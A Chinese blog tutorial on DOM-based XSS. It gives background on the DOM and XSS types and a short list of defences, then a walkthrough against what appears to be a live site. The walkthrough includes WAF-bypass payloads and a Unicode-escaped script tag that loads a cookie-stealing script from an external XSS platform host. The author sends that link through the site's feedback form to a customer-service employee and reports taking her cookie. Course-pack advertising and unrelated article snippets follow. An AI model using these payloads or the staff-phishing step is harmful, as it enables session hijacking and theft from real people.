DOM型XSS

前言

什么是DOM型XSS

DOM型XSS漏洞是一种特殊类型的XSS,是基于文档对象模型 Document Object Model (DOM)的一种漏洞。

 

什么是DOM

DOM全称Document Object Model,是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。

以一张w3c的图来说明,到底什么是dom:

1637801350_619edd86cac4519b92956.png!small?1637801350186

dom就是一个树状的模型,你可以编写Javascript代码根据dom一层一层的节点,去遍历/获取/修改对应的节点,对象,值。

通过Js去对网页进行修改,变化执行。

反射型XSS和储存型XSS以及Dom型XSS的特点:

反射型:
交互的数据一般不会被存在数据库中,一次性,所见即所得,一般出现在查询类页面等。

存储型:
交互的数据会被存在数据库中,永久性存储,一般出现在留言板,注册等页面。

DOM型:
不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,大部分属于反射型。

关于非持久型,持久型,Dom型xss

非持久型xss攻击:顾名思义,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。

持久型xss攻击:持久型xss,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。

而Dom型xss属于有可能是持久也可能是非持久型。

什么是document 和 windows 对象

document表示的是一个文档对象,window表示的是一个窗口对象,一个窗口下可以有多个文档对象。document 只是属于window 的一个子对象。

DOM型XSS

Document 对象

每个载入浏览器的 HTML 文档都会成为 Document 对象。

Document 对象使我们可以从脚本中对 HTML 页面中的所有元素进行访问。

Document对象属性:

1637801979_619edffb536e966b5d6d6.png!small?1637801978591

Document 对象方法:

1637802085_619ee065f1425828f21dd.png!small?1637802085409

可能触发DOM型XSS的属性

document.referer属性

window.name属性

location属性

innerHTML属性

documen.write属性

Dom型XSS的危害:

DOM-XSS不经过服务端,只看服务端的日志和数据库,很难排查到

DOM-XSS一般是通杀浏览器的

DOM-XSS一般是被攻击的时候就执行了XSS,由于是前端DOM操作导致,很难留下痕迹

DOM型XSS的防御方法

  1. 避免将从客户端接收的数据用于客户端敏感操作,例如重写或重定向。
  2. 通过检查对构成威胁的 DOM 对象(例如 URL、位置和引用者)的引用来清理客户端代码。如果 DOM 可能被修改,这一点尤其重要。
  3. 使用能够检查入站 URL 参数并防止提供不适当页面的入侵防御系统。

DOM型XSS实战演练

1、进入漏洞页面

发现可疑点 /dom_xss/

1637811284_619f045404a9846284016.png!small?1637811283367

2.检查该可疑点的源代码

发现可能触发DOM型XSS的属性 document.write,它可向文档写入 HTML 表达式或 JavaScript 代码。

1637811827_619f06737e8996f4cbccd.png!small?1637811826815

3.测试注入

1)先在URL随便传个参?txtx=1234

发现在URL里输入的内容会通过document.write()方法将传参内容显示在HTML文档上。

1637813556_619f0d3484ef643e03e2d.png!small?1637813555867

2)传入恶意语句

?<script>alert(3114)</script>

发现WAF, 经测试,WAF拦截<script>标签、<img>标签、<a%20href=javascript>等。

1637823212_619f32ecbb948541f3566.png!small?1637823212354

3)尝试绕过WAF写入弹窗函数,并闭合语句

1) ?");alert(1314)//
2) index.php/1.txt?txtx=</script><script>alert(1314)</script>

页面弹窗,存在XSS漏洞

1637817911_619f1e37ba8f78b224fc7.png!small?1637817910895

1637818427_619f203b22584bc186183.png!small?1637818426225

4.XSS平台来获取COOKIE

(1)因为document.write() 可以接受native编码值,所以我们可以用native编码绕过WAF

1637825213_619f3abd313a74845089e.png!small?1637825212219

传入参数

?txtx=\u003c\u0073\u0043\u0052\u0069\u0050\u0074\u0020\u0073\u0052\u0043\u003d\u002f\u002f\u0068\u006b\u002e\u0073\u0062\u002f\u0043\u0045\u004c\u004b\u003e\u003c\u002f\u0073\u0043\u0072\u0049\u0070\u0054\u003e

1637825422_619f3b8e4d2b45685fcac.png!small?1637825421422

获取了本地COOKIE

1637825367_619f3b5711b0999fd7c2d.png!small?1637825366154

然后去后把网址提交到反馈栏里,让客服去访问

1637825676_619f3c8c64d4aa8d6bc6d.png!small?1637825675396

返回XSS平台,发现客服小姐姐已成功访问恶意的代码,得到她的COOKIE

1637825861_619f3d45eef592fdff56f.png!small?1637825861060

(2) 传入参数

index.php/1.txt?txtx=<sCRiPt%20sRC=//hk.sb/CELK></sCrIpT>

获取到了本地COOKIE

1637826202_619f3e9af27a332f81164.png!small?1637826202068

把网址提交到反馈栏里,让客服小姐姐去访问,得到客服的COOKIE

1637826406_619f3f66024294c1a63bf.png!small?1637826405037

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

大厂面试题

 

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击) 

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/659972.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

门店系统会员开卡办卡库存收银小程序开发

门店系统会员开卡办卡库存收银小程序开发 一款专门针对门店管理开发的管理系统 系统支持电脑端收银、手机端收银、以及安装apk到安卓收银机收银。 支持门店客户开卡、办卡。支持会员卡、次卡、时卡、通卡。 支持门店进行线上线下营销&#xff0c;可以免费生成店铺专属小程序…

linux开发之设备树五、设备树描述中断实践

设备树是基于设备总线模型的&#xff08;platform&#xff09; 1、添加节点 假设中断引脚为&#xff1a;GPIO0_B5 下面使用设备树来描述它 1、写节点&#xff0c;起节点名字 这里用了ft5x06的触摸芯片&#xff0c;然后I2C的地址为38 2、为节点添加属性 首先添加compatible…

用docker搭建的Vulfocus镜像管理界面没有镜像可以拉取解决办法

ps&#xff1a;截止到今天2023.4.2&#xff0c;kali和vps的docker拉取的vulfocus镜像会有版本的区别&#xff0c;虽然都是拉取的最新版&#xff0c;vps上镜像为3个月以前&#xff0c;kali上为16个月以前&#xff0c;所以在修改 views.py 文件时&#xff0c;可能会发现文件内容不…

基于BP神经网络的64QAM解调算法matlab性能仿真

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 5.算法完整程序工程 1.算法运行效果图预览 2.算法运行软件版本 MATLAB2022A 3.部分核心程序 ....................................................... % 第一部分&#xff1a;加载并可视…

opencascade AIS_Circle AIS_ColoredDrawer AIS_CameraFrustum 源码学习 圆

类AIS_Circle 构造圆形基准面&#xff0c;用于构建复合形状。 AIS_Circle() [1/2] AIS_Circle::AIS_Circle ( const Handle< Geom_Circle > & aCircle ) 初始化用于构造 AIS 圆形基准面的算法&#xff0c;并初始化圆形 aCircle。 AIS_Circle() [2/2] AIS_Circ…

Vue3 图片或视频下载跨域或文件损坏的解决方法

Vue3 图片或视频下载跨域或文件损坏的解决方法 修改跨域配置文件下载方法 修改跨域配置文件 修改vite.config.ts文件proxy里面写跨域地址&#xff0c;如下图&#xff0c;图片地址就是我们要跨域的目标地址&#xff1a; 下载方法 如下就是我取消上面那句后的报错 然后调用两…

24V_2A_1.2MHZ|PCD0303升压恒频LCD背光源专用电路超小体积封装

概述 PCD0303是一个恒定频率&#xff0c;6针SOT23电流模式升压转换器用于小型低功耗应用。PCD0303 以1.2MHz切换&#xff0c;并且允许使用微小的&#xff0c;低成本电容器和电感器2mm或更小,内部软启动会产生较小的涌入电流延长电池寿命。PCD0303具有自动切换至轻负载下的脉冲…

【美羊羊拿金币问题】

问题&#xff1a; 有一天美羊羊正在草地上玩耍&#xff0c;突然天上开始落金币&#xff0c;这些金币掉落的范围在一个固定的水平区域内&#xff0c;但这些金币一旦掉落到地上就消失了&#xff0c;因此美羊羊只有不断地移动并从空中接住这些金币才能得到它们。假设金币掉落的位…

电脑提示:“找不到vcruntime140_1.dll无法执行”该怎么恢复?一键修复vcruntime140_1.dll丢失

vcruntime140_1.dll是一个关键的系统文件&#xff0c;它在电脑运行过程中被调用。如果该文件丢失或找不到&#xff0c;将会导致弹出"找不到vcruntime140_1.dll无法执行"的错误提示。缺失vcruntime140_1.dll文件将导致软件或游戏无法正常打开或运行。 一键修复vcrunti…

【学习Day1】计算机基础

✍&#x1f3fb;记录学习过程中的输出&#xff0c;坚持每天学习一点点~ ❤️希望能给大家提供帮助~欢迎点赞&#x1f44d;&#x1f3fb;收藏⭐评论✍&#x1f3fb;指点&#x1f64f; 1.1 中央处理单元CPU 中央处理器&#xff08;CPU&#xff0c;central processing unit&…

基于SpringBoot+Html+Mysql的餐厅点餐管理系统外卖点餐系统

博主介绍&#xff1a; 大家好&#xff0c;本人精通Java、Python、C#、C、C编程语言&#xff0c;同时也熟练掌握微信小程序、Php和Android等技术&#xff0c;能够为大家提供全方位的技术支持和交流。 我有丰富的成品Java、Python、C#毕设项目经验&#xff0c;能够为学生提供各类…

产品推荐 | 基于Xilinx Zynq-7015 FPGA的MYC-C7Z015核心板

一、产品概述 基于 Xilinx Zynq-7015&#xff0c;双Cortex-A9FPGA全可编程处理器&#xff1b;PS部分(ARM)与PL部分(FPGA)之间采用AXI高速片上总线通信&#xff0c;吉比特级带宽&#xff0c;突破传统ARMFPGA架构的通信瓶颈&#xff0c;通过PL部分(FPGA)灵活配置丰富的外设接口&…

Android ANR Trace日志阅读分析技巧

什么是Trace日志 Trace日志是指ANR目录下的一份txt文件 adb pull /data/anr/traces.txt Trace日志有什么用 分析应用ANR无响应的问题&#xff0c; Trace怎么用 Cmd line: com.xx ABI: arm Build type: optimized Zygote loaded classes3682 post zygote classes3750 Intern…

西湖大学提出AIGC检测框架,精准识别AI撰写的文稿

近年来人工智能技术突飞猛进&#xff0c;尤其是大语言模型的出现&#xff0c;让AI具备了创作文章、小说、剧本等内容的能力。 AI代写&#xff0c;已经逃不过老师、编辑、审稿人的火眼金睛了。但让AI仅改写部分片段&#xff0c;就安全了么&#xff1f; 针对检测AI改写的片段&a…

MSMG Toolkit深度Windows系统镜像文件个性定制!

MSMG Toolkit,这个听起来略显神秘的名字,在DIY电脑爱好者和系统管理员的圈子中却是大名鼎鼎。这是一款免费的系统定制工具,专为Windows操作系统量身定做,旨在帮助用户轻松移除不必要的系统组件、集成更新、添加驱动程序,以及实现无人值守安装等功能,让每一次系统安装都更…

无与伦比的5G连接助力Sunswift Racing太阳能汽车取得成功

一、面临挑战 本案例研究重点关注Sunswift Racing团队的要求&#xff0c;即提供尖端的连接解决方案&#xff0c;以满足2023年普利司通世界挑战赛上车辆地形的特定要求。 德思特Panorama车载天线以即使在最苛刻的条件下也能提供高性能无线连接解决方案而闻名。Sunswift面临的主…

Python 机器学习 基础 之 算法链与管道 【算法链与管道/预处理进行参数选择/构建管道/在网格搜索中使用管道】的简单说明

Python 机器学习 基础 之 算法链与管道 【算法链与管道/预处理进行参数选择/构建管道/在网格搜索中使用管道】的简单说明 目录 Python 机器学习 基础 之 算法链与管道 【算法链与管道/预处理进行参数选择/构建管道/在网格搜索中使用管道】的简单说明 一、简单介绍 二、算法链…

HTML静态网页成品作业(HTML+CSS)——游戏阴阳师介绍网页(4个页面)

&#x1f389;不定期分享源码&#xff0c;关注不丢失哦 文章目录 一、作品介绍二、作品演示三、代码目录四、网站代码HTML部分代码 五、源码获取 一、作品介绍 &#x1f3f7;️本套采用HTMLCSS&#xff0c;未使用Javacsript代码&#xff0c;共有4个页面。 二、作品演示 三、代…

ChatGPT成知名度最高生成式AI产品,使用频率却不高

5月29日&#xff0c;牛津大学、路透社新闻研究所联合发布了一份生成式AI&#xff08;AIGC&#xff09;调查报告。 在今年3月28日—4月30日对美国、英国、法国、日本、丹麦和阿根廷的大约12,217人进行了调查&#xff0c;深度调研他们对生成式AI产品的应用情况。 结果显示&…

真实测评:9款电脑加密软件最新排名

2024年已经过半&#xff0c;电脑加密软件市场发生了很多变化&#xff0c;根据资料汇总&#xff0c;一些电脑加密软件排名也发生了变化&#xff0c;下面是最近的排名。 1、安企神&#xff1a; 可以试试7天的免费试用&#xff0c;用过之后就回不去了 试用版https://work.weix…